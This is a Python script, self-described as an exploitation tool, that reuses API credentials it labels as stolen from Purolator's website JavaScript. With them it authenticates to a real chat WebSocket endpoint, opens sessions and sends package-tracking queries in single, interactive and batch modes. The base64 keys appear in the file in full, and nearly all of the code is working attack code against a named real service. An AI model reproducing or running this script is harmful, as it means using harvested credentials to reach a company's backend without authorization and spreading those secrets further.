#!/usr/bin/env python3
"""
Purolator WebChat Exploitation Tool - CORRECTED VERSION
========================================================

BREAKTHROUGH: Found the missing session initialization step!

The protocol requires:
1. First message: start_session_req (NOT dialog_req)
2. Server responds: start_session_resp with session_id
3. Subsequent messages: dialog_req using received session_id

Based on analysis of unminified webchat-bundle.js lines 79640-79665
"""

import asyncio
import websockets
import json
import uuid
import base64
from datetime import datetime

# Stolen API credentials from Purolator's JavaScript
API_CREDENTIALS = [
    {
        "name": "Primary API Key",
        "application_uuid": "OGM3NDgxYzUyNjYxYzQ5MzNiNzA3YTE0ZTZjZDIyYmE=",
        "access_key": "MzZiNzg4NzIyYjg2MGY3ZGM3MWEyZWZhYzgyOTM1YTk="
    },
    {
        "name": "Secondary API Key",
        "application_uuid": "OGM3NDgxYzUyNjYxYzQ5MzNiNzA3YTE0ZTZjZDIyYmE=",
        "access_key": "ODM3NDgxYzUyNjYxYzQ5MzNiNzA3YTE0ZTZjZDIyYmE="
    }
]

WEBSOCKET_URL = "wss://us1-m.ocp.ai/chat/ws/session"


def decode_credential(encoded_str):
    """Decode base64 API credentials"""
    return base64.b64decode(encoded_str).decode('utf-8')


def get_api_key():
    """Get the complete base64-encoded API key for WebSocket authentication

    Format: Base64-encoded JSON object with application_uuid and access_key
    Example: {"application_uuid": "...", "access_key": "..."}
    """
    creds = API_CREDENTIALS[0]
    app_uuid = decode_credential(creds["application_uuid"])
    access_key = decode_credential(creds["access_key"])

    # Create JSON object
    api_key_json = {
        "application_uuid": app_uuid,
        "access_key": access_key
    }

    # Encode to base64
    json_str = json.dumps(api_key_json)
    return base64.b64encode(json_str.encode()).decode()


async def track_package_fixed(tracking_number, use_utterance=True):
    """
    Track a package using the CORRECTED protocol

    Args:
        tracking_number: The Purolator tracking/PIN number
        use_utterance: If True, include tracking number in utterance. If False, send as separate dialog_message_event
    """
    print(f"\n{'='*60}")
    print(f"🔓 Purolator WebChat Exploitation - FIXED VERSION")
    print(f"{'='*60}")
    print(f"📦 Tracking Number: {tracking_number}")
    print(f"🕐 Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"{'='*60}\n")

    # Generate unique IDs
    client_message_id = str(uuid.uuid4())

    # Prepare API key
    api_key = get_api_key()

    try:
        async with websockets.connect(WEBSOCKET_URL) as websocket:
            print(f"✅ Connected to {WEBSOCKET_URL}")

            # CRITICAL FIX: First message must be start_session_req
            if use_utterance:
                # Include tracking number in initial message
                start_session_message = {
                    "type": "start_session_req",
                    "api_key": api_key,
                    "session_id": None,
                    "client_message_id": client_message_id,
                    "utterance": f"Track a Package {tracking_number}",
                    "semantics": None,
                    "input_fields": {}
                }
            else:
                # Start with generic greeting
                start_session_message = {
                    "type": "start_session_req",
                    "api_key": api_key,
                    "session_id": None,
                    "client_message_id": client_message_id,
                    "utterance": "Track a Package",
                    "semantics": None,
                    "input_fields": {}
                }

            print(f"\n📤 Sending start_session_req:")
            print(f"   Type: {start_session_message['type']}")
            print(f"   Utterance: {start_session_message['utterance']}")
            print(f"   Client Message ID: {client_message_id}")

            await websocket.send(json.dumps(start_session_message))
            print("✅ Message sent\n")

            # Wait for start_session_resp
            print("⏳ Waiting for server response...")
            session_id = None
            bot_responses = []

            try:
                async for message in websocket:
                    data = json.loads(message)
                    msg_type = data.get("type")

                    print(f"\n📥 Received: {msg_type}")
                    print(f"   Full message: {json.dumps(data, indent=2)}")

                    # Check for session response
                    if msg_type == "start_session_resp":
                        session_id = data.get("session_id")
                        print(f"✅ Session established: {session_id}")

                    # Check for bot messages
                    elif msg_type == "dialog_message_event" and data.get("source") == "BOT":
                        utterance = data.get("utterance", "")
                        bot_responses.append(utterance)
                        print(f"🤖 Bot says: {utterance}")

                    # Check for errors
                    elif msg_type == "error_event":
                        error_code = data.get("error_code", "UNKNOWN")
                        print(f"❌ Error: {error_code}")

                    # If we got session and haven't sent tracking number yet
                    if session_id and not use_utterance and tracking_number not in str(bot_responses):
                        print(f"\n📤 Sending tracking number as follow-up message...")
                        followup_id = str(uuid.uuid4())
                        followup_message = {
                            "type": "dialog_message_event",
                            "session_id": session_id,
                            "client_message_id": followup_id,
                            "source": "USER",
                            "utterance": tracking_number,
                            "rich_content": {
                                "template_name": "user_quick_reply",
                                "arguments": {
                                    "utterance": tracking_number
                                }
                            }
                        }
                        await websocket.send(json.dumps(followup_message))
                        print("✅ Follow-up message sent")

            except asyncio.TimeoutError:
                print("\n⏱️ Timeout waiting for response")

            print(f"\n{'='*60}")
            print(f"📊 Summary:")
            print(f"   Session ID: {session_id or 'Not received'}")
            print(f"   Bot Responses: {len(bot_responses)}")
            if bot_responses:
                print(f"\n💬 Bot conversation:")
                for i, response in enumerate(bot_responses, 1):
                    print(f"   {i}. {response}")
            print(f"{'='*60}\n")

            return {
                "success": session_id is not None,
                "session_id": session_id,
                "responses": bot_responses
            }

    except Exception as e:
        print(f"❌ Error: {str(e)}")
        import traceback
        traceback.print_exc()
        return {"success": False, "error": str(e)}


async def interactive_mode():
    """Interactive mode for testing different tracking numbers"""
    print("\n" + "="*60)
    print("🎮 INTERACTIVE MODE - Purolator WebChat Exploit")
    print("="*60)
    print("\nCommands:")
    print("  <tracking_number> - Track a package")
    print("  test - Test with known working number (520127751300)")
    print("  quit - Exit")
    print("="*60 + "\n")

    while True:
        try:
            user_input = input(
                "\n🔍 Enter tracking number (or command): ").strip()

            if user_input.lower() in ['quit', 'exit', 'q']:
                print("👋 Goodbye!")
                break

            if user_input.lower() == 'test':
                user_input = "520127751300"

            if not user_input:
                continue

            # Ask about utterance mode
            mode = input(
                "Include in first message? (y/n, default=y): ").strip().lower()
            use_utterance = mode != 'n'

            await track_package_fixed(user_input, use_utterance)

        except KeyboardInterrupt:
            print("\n\n👋 Interrupted. Goodbye!")
            break
        except Exception as e:
            print(f"❌ Error: {e}")


async def test_multiple():
    """Test multiple tracking numbers"""
    test_numbers = [
        "520127751300",  # Known working from user's capture
        "123456789",     # Test invalid
        "999999999999"   # Test invalid
    ]

    print("\n" + "="*60)
    print("🧪 BATCH TESTING MODE")
    print("="*60 + "\n")

    results = []
    for number in test_numbers:
        result = await track_package_fixed(number, use_utterance=True)
        results.append({"number": number, "result": result})
        await asyncio.sleep(2)  # Delay between requests

    print("\n" + "="*60)
    print("📊 BATCH TEST RESULTS")
    print("="*60)
    for item in results:
        status = "✅ SUCCESS" if item["result"]["success"] else "❌ FAILED"
        print(f"\n{item['number']}: {status}")
        if item["result"].get("responses"):
            print(f"  Responses: {len(item['result']['responses'])}")
    print("="*60 + "\n")

if __name__ == "__main__":
    import sys

    if len(sys.argv) > 1:
        if sys.argv[1] == "interactive":
            asyncio.run(interactive_mode())
        elif sys.argv[1] == "batch":
            asyncio.run(test_multiple())
        else:
            # Single tracking number from command line
            tracking_number = sys.argv[1]
            use_utterance = True if len(
                sys.argv) < 3 else sys.argv[2].lower() != 'separate'
            asyncio.run(track_package_fixed(tracking_number, use_utterance))
    else:
        print("\nUsage:")
        print("  python webchat_exploit_fixed.py <tracking_number>        # Track single package")
        print(
            "  python webchat_exploit_fixed.py interactive              # Interactive mode")
        print("  python webchat_exploit_fixed.py batch                    # Test multiple numbers")
        print("\nExamples:")
        print("  python webchat_exploit_fixed.py 520127751300")
        print("  python webchat_exploit_fixed.py interactive")
        print()
